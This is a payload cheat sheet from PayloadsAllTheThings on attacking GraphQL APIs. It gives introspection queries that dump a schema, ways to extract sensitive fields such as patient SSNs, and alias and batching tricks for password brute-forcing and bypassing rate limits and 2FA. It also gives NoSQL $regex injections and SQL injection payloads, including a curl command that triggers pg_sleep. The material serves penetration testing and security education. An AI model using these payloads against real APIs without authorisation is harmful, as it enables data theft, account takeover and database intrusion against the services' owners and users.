PayloadsAllTheThings/GraphQL Injection

GraphQL Injection

GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type

Summary

• GraphQL injection
  • Summary
  • Tools
  • Enumeration
    • Common GraphQL endpoints
    • Identify an injection point
    • Enumerate Database Schema via Introspection
    • Enumerate Database Schema via Suggestions
    • Enumerate the types' definition
    • List path to reach a type
  • Exploit
    • Extract data
    • Extract data using edges/nodes
    • Extract data using projections
    • Use mutations
    • GraphQL Batching Attacks
      • JSON list based batching
      • Query name based batching
  • Injections
    • NOSQL injection
    • SQL injection
  • References

Tools

• swisskyrepo/GraphQLmap - Scripting engine to interact with a graphql endpoint for pentesting purposes
• doyensec/graph-ql - GraphQL Security Research Material
• doyensec/inql - A Burp Extension for GraphQL Security Testing
• doyensec/GQLSpection - GQLSpection - parses GraphQL introspection schema and generates possible queries
• dee-see/graphql-path-enum - Lists the different ways of reaching a given type in a GraphQL schema
• andev-software/graphql-ide - An extensive IDE for exploring GraphQL API's
• mchoji/clairvoyancex - Obtain GraphQL API schema despite disabled introspection
• nicholasaleks/CrackQL - A GraphQL password brute-force and fuzzing utility
• nicholasaleks/graphql-threat-matrix - GraphQL threat framework used by security professionals to research security gaps in GraphQL implementations
• dolevf/graphql-cop - Security Auditor Utility for GraphQL APIs
• IvanGoncharov/graphql-voyager - Represent any GraphQL API as an interactive graph
• Insomnia - Cross-platform HTTP and GraphQL Client

Enumeration

Common GraphQL endpoints

Most of the time the graphql is located on the /graphql or /graphiql endpoint. A more complete list is available at danielmiessler/SecLists/graphql.txt.

/v1/explorer
/v1/graphiql
/graph
/graphql
/graphql/console/
/graphql.php
/graphiql
/graphiql.php

Identify an injection point

example.com/graphql?query={__schema{types{name}}}
example.com/graphiql?query={__schema{types{name}}}

Check if errors are visible.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumerate Database Schema via Introspection

URL encoded query to dump the database schema.

fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}

URL decoded query to dump the database schema.

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}
fragment InputValue on __InputValue {
  name
  description
  type {
    ...TypeRef
  }
  defaultValue
}
fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

query IntrospectionQuery {
  __schema {
    queryType {
      name
    }
    mutationType {
      name
    }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}

Single line queries to dump the database schema without fragments.

__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}

{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}

Enumerate Database Schema via Suggestions

When you use an unknown keyword, the GraphQL backend will respond with a suggestion related to its schema.

{
  "message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?",
}

You can also try to bruteforce known keywords, field and type names using wordlists such as Escape-Technologies/graphql-wordlist when the schema of a GraphQL API is not accessible.

Enumerate the types' definition

Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type

{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}

List path to reach a type

$ git clone https://gitlab.com/dee-see/graphql-path-enum
$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
Found 27 ways to reach the "Skill" node from the "Query" node:
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_checks) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (clusters) -> Cluster (weaknesses) -> Weakness (critical_reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (embedded_submission_form) -> EmbeddedSubmissionForm (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (external_program) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (external_programs) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listing) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listings) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (skills) -> Skill

Exploit

Extract data

example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}

Extract data using edges/nodes

{
  "query": "query {
    teams{
      total_count,edges{
        node{
          id,_id,about,handle,state
        }
      }
    }
  }"
} 

Extract data using projections

⚠️ Don’t forget to escape the " inside the options.

{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}

Use mutations

Mutations work like function, you can use them to interact with the GraphQL.

# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}

GraphQL Batching Attacks

Common scenario:

• Password Brute-force Amplification Scenario
• Rate Limit bypass
• 2FA bypassing

JSON list based batching

Query batching is a feature of GraphQL that allows multiple queries to be sent to the server in a single HTTP request. Instead of sending each query in a separate request, the client can send an array of queries in a single POST request to the GraphQL server. This reduces the number of HTTP requests and can improve the performance of the application.

Query batching works by defining an array of operations in the request body. Each operation can have its own query, variables, and operation name. The server processes each operation in the array and returns an array of responses, one for each query in the batch.

[
    {
        "query":"..."
    },{
        "query":"..."
    }
    ,{
        "query":"..."
    }
    ,{
        "query":"..."
    }
    ...
]

Query name based batching

{
    "query": "query { qname: Query { field1 } qname1: Query { field1 } }"
}

Send the same mutation several times using aliases

mutation {
  login(pass: 1111, username: "bob")
  second: login(pass: 2222, username: "bob")
  third: login(pass: 3333, username: "bob")
  fourth: login(pass: 4444, username: "bob")
}

Injections

SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database.

NOSQL injection

Use $regex, $ne from inside a search parameter.

{
  doctors(
    options: "{\"limit\": 1, \"patients.ssn\" :1}", 
    search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
    {
      firstName lastName id patients{ssn}
    }
}

SQL injection

Send a single quote ' inside a graphql parameter to trigger the SQL injection

{ 
    bacon(id: "1'") { 
        id, 
        type, 
        price
    }
}

Simple SQL injection inside a graphql field.

curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27

References

• Introduction to GraphQL
• GraphQL Introspection
• API Hacking GraphQL - @ghostlulz - jun 8, 2019
• GraphQL abuse: Bypass account level permissions through parameter smuggling - March 14, 2018 - @Detectify
• Discovering GraphQL endpoints and SQLi vulnerabilities - Sep 23, 2018 - Matías Choren
• Securing Your GraphQL API from Malicious Queries - Feb 21, 2018 - Max Stoiber
• GraphQL NoSQL Injection Through JSON Types - June 12, 2017 - Pete Corey
• SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Nov 6th 2018 - @jobert
• Looting GraphQL Endpoints for Fun and Profit - @theRaz0r
• How to set up a GraphQL Server using Node.js, Express & MongoDB - 5 NOVEMBER 2018 - Leonardo Maldonado
• GraphQL cheatsheet - DEVHINTS.IO
• HIP19 Writeup - Meet Your Doctor 1,2,3 - June 22, 2019 - Swissky
• Introspection query leaks sensitive graphql system information - @Zuriel
• Graphql Bug to Steal Anyone’s Address - Sept 1, 2019 - Pratik Yadav
• GraphQL Batching Attack - RENATAWALLARM - DECEMBER 13, 2019
• GraphQL for Pentesters presentation by ACCEIS - 01/12/2022 - source
• Exploiting GraphQL - Aug 29, 2021 - AssetNote - Shubham Shah
• Building a free open source GraphQL wordlist for penetration testing - Nohé Hinniger-Foray - Aug 17, 2023